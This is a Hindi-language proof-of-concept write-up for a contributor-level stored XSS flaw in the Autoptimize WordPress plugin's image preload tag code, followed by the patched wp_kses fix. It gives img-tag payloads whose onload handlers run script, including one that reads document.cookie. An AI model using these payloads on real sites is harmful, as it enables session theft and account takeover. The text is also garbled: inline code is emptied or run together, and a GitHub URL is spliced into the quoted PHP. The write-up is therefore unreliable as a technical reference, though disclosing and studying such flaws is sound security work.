
Autoptimize < 3.1.14 में प्रमाणित संग्रहीत XSS के लिए प्रमाण-की-अवधारणा, छवि प्रीलोड टैग निर्माण में अपर्याप्त विशेषता स्वच्छता का शोषण।
कमजोरी: प्रमाणित (Contributor+) संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS)
प्रभावित संस्करण: Autoptimize <= 3.1.13
पैच किया गया संस्करण: Autoptimize 3.1.14
फ़ाइल: classes/autoptimizeImages.php
यह कमजोरी classes/autoptimizeImages.php के भीतर create_img_preload_tag() विधि में मौजूद है। यह फ़ंक्शन सामग्री में पाई गई छवियों के लिए <link rel="preload"> टैग उत्पन्न करने के लिए ज़िम्मेदार होता है, जब छवि अनुकूलन या प्रीलोडिंग सक्षम होती है।
संस्करण 3.1.13 में, फ़ंक्शन मूल `` टैग को <link> टैग में बदलने से पहले title, alt, class, , , और जैसे विशिष्ट एट्रिब्यूट्स को हटाने के लिए "ब्लैकलिस्ट" दृष्टिकोण ( के माध्यम से) का उपयोग करता है। हालाँकि, यह या जैसे इवेंट हैंडलर एट्रिब्यूट्स को हटाने में विफल रहता है।
idwidthheightpreg_replaceonloadonerrorएक प्रमाणित हमलावर (कम से कम Contributor भूमिका के साथ) किसी पोस्ट में एक दुर्भावनापूर्ण `` टैग एम्बेड कर सकता है। जब प्लगइन इस पोस्ट को प्रीलोड लिंक उत्पन्न करने के लिए संसाधित करता है, तो दुर्भावनापूर्ण इवेंट हैंडलर बना रहता है और <link> टैग के अंदर पृष्ठ के <head> में इंजेक्ट हो जाता है। चूँकि <link rel="preload"> onload इवेंट का समर्थन करता है, JavaScript तब निष्पादित होती है जब संसाधन लोड होता है।
// classes/autoptimizeImages.php
public static function create_img_preload_tag( $tag ) {
// ...
// rewrite img tag to link preload img.
$_from = array( '<img ', ' src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/," sizes=', ' srcset=' );
$_to = array( '<link rel="preload" as="image" ', ' href=', ' imagesizes=', ' imagesrcset=' );
$tag = str_replace( $_from, $_to, $tag );
// INSUFFICIENT SANITIZATION: Only removes specific attributes
$tag = preg_replace( '/ ((?:title|alt|class|id|loading|fetchpriority|decoding|data-no-lazy|width|height)=".*")/Um', '', $tag );
// ...
return $tag;
}
create_img_preload_tag अक्सर व्यूपोर्ट में पाई गई छवियों या स्पष्ट रूप से प्रीलोड की गई छवियों के लिए ट्रिगर होता है।<img src="https://example.com/image.jpg" onload="alert('XSS_POC_SUCCESS')">
<!-- Malicious Image -->
<img src="https://raw.githubusercontent.com/ciscocamelo/cve-2025-13401-xss-stored/main/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
<link rel="preload" as="image" href="/wp-content/plugins/autoptimize/classes/external/js/lazysizes.min.js" onload="alert(document.cookie)">
width, height आदि एट्रिब्यूट हटाए जा सकते हैं, लेकिन onload बना रहता है।<link> टैग को पार्स करता है, संसाधन को प्रीलोड करता है, और onload इवेंट को फायर करता है, जिससे XSS निष्पादित होता है।पैच ब्लैकलिस्ट regex को wp_kses() से बदल देता है, जो उत्पन्न <link> टैग के लिए अनुमत एट्रिब्यूट्स की एक सख्त व्हाइटलिस्ट सक्षम करता है।
// classes/autoptimizeImages.php v3.1.14
$allowed_html = array(
'link' => array(
'rel' => true,
'as' => true,
'href' => true,
'imagesizes' => true,
'imagesrcset' => true,
'type' => true,
'media' => true,
),
);
$tag = wp_kses( $tag, $allowed_html );